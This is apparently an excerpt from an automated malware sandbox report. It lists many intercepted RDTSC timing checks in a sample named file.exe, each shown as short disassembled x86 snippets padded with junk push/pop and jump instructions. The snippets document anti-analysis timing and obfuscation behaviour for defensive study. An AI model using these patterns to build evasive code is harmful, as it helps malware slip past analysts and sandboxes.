Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8F85 second address: DF8F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8F8A second address: DF8F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F99D0D12E16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8F96 second address: DF8F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0AFCF second address: E0AFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0AFD4 second address: E0AFDD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E22786 second address: E22791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E22791 second address: E227B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F37h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F99D0DE6F2Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E227B9 second address: E227BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E227BD second address: E227DC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99D0DE6F38h 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E22FEE second address: E22FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2804E second address: E28054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E281D9 second address: E281EB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99D0D12E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E281EB second address: E281EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C72F second address: E2C75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0D12E1Fh 0x00000009 jmp 00007F99D0D12E25h 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C75A second address: E2C773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ecx 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F99D0DE6F2Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C588 second address: E2C599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0D12E1Ch 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C599 second address: E2C59E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46E6C second address: E46E93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E27h 0x00000007 jmp 00007F99D0D12E1Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46E93 second address: E46EA8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99D0DE6F2Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49B15 second address: E49B2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F99D0D12E16h 0x00000009 jmp 00007F99D0D12E1Ch 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4984D second address: E4986F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F99D0DE6F26h 0x0000000a jng 00007F99D0DE6F2Ah 0x00000010 jo 00007F99D0DE6F32h 0x00000016 jp 00007F99D0DE6F26h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4986F second address: E49891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F99D0D12E1Ah 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F99D0D12E1Ah 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49891 second address: E4989C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4989C second address: E498A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F60E second address: E5F61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F61B second address: E5F621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F621 second address: E5F625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F625 second address: E5F62B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6432C second address: E64338 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64338 second address: E64344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F99D0D12E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64344 second address: E6435C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F99D0DE6F32h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6435C second address: E64362 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64362 second address: E6436E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E634E7 second address: E634EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63A3C second address: E63A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63A40 second address: E63A4F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jng 00007F99D0D12E16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63A4F second address: E63A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnp 00007F99D0DE6F32h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F99D0DE6F26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63BD1 second address: E63BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66F1E second address: E66F24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E67244 second address: E67248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E67248 second address: E6728D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dh, cl 0x0000000e push dword ptr [ebp+122D3970h] 0x00000014 mov edx, dword ptr [ebp+122D2638h] 0x0000001a call 00007F99D0DE6F29h 0x0000001f jmp 00007F99D0DE6F33h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push ecx 0x00000028 pushad 0x00000029 popad 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6728D second address: E67294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6BEE2 second address: E6BEE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6BEE6 second address: E6BEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6BEEF second address: E6BF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0DE6F38h 0x00000009 jl 00007F99D0DE6F26h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570055 second address: 5570059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570059 second address: 5570074 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570074 second address: 55700F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F99D0D12E27h 0x00000010 pop edx 0x00000011 call 00007F99D0D12E24h 0x00000016 mov bh, ch 0x00000018 pop ebx 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F99D0D12E1Fh 0x00000024 sub al, 0000002Eh 0x00000027 jmp 00007F99D0D12E29h 0x0000002c popfd 0x0000002d movzx ecx, dx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55700F8 second address: 55700FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500118 second address: 5500174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F99D0D12E20h 0x0000000f push eax 0x00000010 pushad 0x00000011 push ebx 0x00000012 jmp 00007F99D0D12E1Ch 0x00000017 pop esi 0x00000018 push edi 0x00000019 pushfd 0x0000001a jmp 00007F99D0D12E1Eh 0x0000001f sub esi, 5DE16B78h 0x00000025 jmp 00007F99D0D12E1Bh 0x0000002a popfd 0x0000002b pop eax 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500174 second address: 5500178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500178 second address: 550017E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550017E second address: 5500184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500184 second address: 55001B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F99D0D12E1Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55001B0 second address: 5500248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99D0DE6F37h 0x00000009 add eax, 63D74DFEh 0x0000000f jmp 00007F99D0DE6F39h 0x00000014 popfd 0x00000015 movzx esi, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push dword ptr [ebp+04h] 0x0000001e jmp 00007F99D0DE6F33h 0x00000023 push dword ptr [ebp+0Ch] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov ecx, ebx 0x0000002b pushfd 0x0000002c jmp 00007F99D0DE6F37h 0x00000031 sbb eax, 68703D6Eh 0x00000037 jmp 00007F99D0DE6F39h 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500248 second address: 5500266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500266 second address: 5500279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500279 second address: 550027F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550027F second address: 5500283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55002AF second address: 55002B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55002B3 second address: 55002B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C83 second address: 5520C89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55206E1 second address: 55206E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55206E5 second address: 55206EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55206EB second address: 5520732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F99D0DE6F36h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 jmp 00007F99D0DE6F2Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 mov dl, ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520732 second address: 552074E instructions: 0x00000000 rdtsc 0x00000002 call 00007F99D0D12E1Dh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ebx 0x00000011 mov dl, al 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55205A3 second address: 5520606 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99D0DE6F36h 0x00000008 xor ax, E3A8h 0x0000000d jmp 00007F99D0DE6F2Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F99D0DE6F2Bh 0x00000022 xor si, F0EEh 0x00000027 jmp 00007F99D0DE6F39h 0x0000002c popfd 0x0000002d mov ax, B477h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520606 second address: 552061D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 38FA7E4Eh 0x00000008 mov dx, 315Ah 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552061D second address: 5520623 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520623 second address: 5520629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552024A second address: 55202F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99D0DE6F30h 0x00000009 sbb al, FFFFFF98h 0x0000000c jmp 00007F99D0DE6F2Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F99D0DE6F38h 0x00000018 or ax, BCF8h 0x0000001d jmp 00007F99D0DE6F2Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 call 00007F99D0DE6F34h 0x0000002d mov ebx, eax 0x0000002f pop esi 0x00000030 pushfd 0x00000031 jmp 00007F99D0DE6F37h 0x00000036 sub cx, E61Eh 0x0000003b jmp 00007F99D0DE6F39h 0x00000040 popfd 0x00000041 popad 0x00000042 mov ebp, esp 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55202F3 second address: 55202F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55202F7 second address: 55202FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55202FB second address: 5520301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520301 second address: 5520316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0DE6F31h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530216 second address: 553021C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560F27 second address: 5560F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560F2C second address: 5560F5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F99D0D12E29h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560F5E second address: 5560F94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F99D0DE6F37h 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560F94 second address: 5560F9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560F9A second address: 5560FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0DE6F34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403BB second address: 55403D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403D0 second address: 55404E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F99D0DE6F2Eh 0x0000000f push eax 0x00000010 jmp 00007F99D0DE6F2Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov dx, ax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F99D0DE6F2Eh 0x00000021 sbb si, 9528h 0x00000026 jmp 00007F99D0DE6F2Bh 0x0000002b popfd 0x0000002c call 00007F99D0DE6F38h 0x00000031 pop eax 0x00000032 popad 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 pushad 0x00000037 jmp 00007F99D0DE6F37h 0x0000003c mov edi, ecx 0x0000003e popad 0x0000003f mov eax, dword ptr [ebp+08h] 0x00000042 jmp 00007F99D0DE6F32h 0x00000047 and dword ptr [eax], 00000000h 0x0000004a pushad 0x0000004b jmp 00007F99D0DE6F2Eh 0x00000050 movzx ecx, bx 0x00000053 popad 0x00000054 and dword ptr [eax+04h], 00000000h 0x00000058 pushad 0x00000059 pushfd 0x0000005a jmp 00007F99D0DE6F33h 0x0000005f xor eax, 0EF3C68Eh 0x00000065 jmp 00007F99D0DE6F39h 0x0000006a popfd 0x0000006b mov esi, 0DCB7597h 0x00000070 popad 0x00000071 pop ebp 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F99D0DE6F39h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404E4 second address: 55404F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0D12E1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520460 second address: 5520464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520464 second address: 5520477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520477 second address: 552048F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0DE6F34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552048F second address: 55204B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F99D0D12E24h 0x00000011 popad 0x00000012 rdtsc
